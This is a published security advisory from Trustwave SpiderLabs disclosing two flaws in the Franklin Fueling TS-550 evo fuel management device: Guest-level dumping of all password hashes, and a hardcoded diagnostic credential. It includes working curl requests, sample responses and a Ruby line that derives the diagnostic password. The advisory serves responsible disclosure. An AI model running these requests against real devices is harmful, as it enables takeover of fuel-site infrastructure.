Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities

Trustwave's SpiderLabs Security Advisory TWSL2014-001:
Multiple Vulnerabilities in Franklin Fueling's TS-550 evo

Published: 01/03/2014
Version: 1.0

Vendor: Franklin Fueling Systems (http://www.franklinfueling.com/)
Product: TS-550 evo device
Version affected:  Firmware 2.0.0.6833 confirmed.  Affects prior to version
2.4.0

Product description:
A fuel management system with a programmable interface used for inventory
and delivery management.

Finding 1: Insufficient Access Control
Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs
CVE: CVE-2013-7247
CWE: CWE-200

As the Guest user (the lowest privilege), a user can post the
cmdWebGetConfiguration parameter to cgi-bin/tsaws.cgi. This will return the
usernames and password hashes (in DES format) for all users of the
application. Once dumped, they can be cracked and used to access
authenticated portions of the application.


#Request

curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi

#Response

<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-02-19T22:09:22Z" TIME_STAMP_LOCAL="2013-02-19T17:09:22" KEY="11111111" ROLE="roleGuest"><TSA_RESPONSE COMMAND="cmdWebGetConfiguration"><CONFIGURATION>
    <DEBUGGING LOGGING_ENABLED="false" LOGGING_PATH="/tmp"/>
    <ROLE_LIST>
        <ROLE NAME="roleAdmin" PASSWORD="YrKMc2T2BuGvQ"/>
        <ROLE NAME="roleUser" PASSWORD="2wd2DlEKUPTr2"/>
        <ROLE NAME="roleGuest" PASSWORD="YXFCsq2GXFQV2"/>
    </ROLE_LIST>
</CONFIGURATION></TSA_RESPONSE></TSA_RESPONSE_LIST>

Finding 2: Hardcoded Technician Credentials
Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs
CVE: CVE-2013-7248
CWE: CWE-798

The three primary users on the TS550 are roleGuest, roleUser, and
roleAdmin.  Another user exists with additional access named roleDiag. This
user can access extra portions of the application such as the command line
interface, enable and disable SSH, as well as run SQL commands all from the
web interface.  The CLI interface includes the ability to run engineering
and manufacturing commands.  The password for roleDiag is the key (a value
returned with every POST request to tsaws.cgi) DES encrypted.  This can be
done in Ruby:


$ irb
1.9.3p374 :001 > "11111111".crypt("aa")
 => "aaDTlAa1fGGC."

#Request

curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST PASSWORD="aaDTlAa1fGGC."><TSA_REQUEST COMMAND="cmdWebCheckRole"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi

#Response (note the ROLE)

<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-03-04T16:53:01Z" TIME_STAMP_LOCAL="2013-03-04T11:53:01" KEY="11111111" ROLE="roleDiag"><TSA_RESPONSE COMMAND="cmdWebCheckRole"></TSA_RESPONSE></TSA_RESPONSE_LIST>

The password can then be used to run various roleDiag commands. An attacker
can enable SSH, and since root's password is the same as roleAdmin, they
can completely compromise the device.

Remediation Steps:
According to Franklin Fueling, version 2.4.0 mitigates these
vulnerabilities. However, Trustwave SpiderLabs have not verified this fix.


Revision History:
04/16/13 - Vulnerability disclosed to vendor
12/18/13 - Fix released on a limited basis by vendor
01/03/14 - Advisory published

References
1. http://www.franklinfueling.com/evo/


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.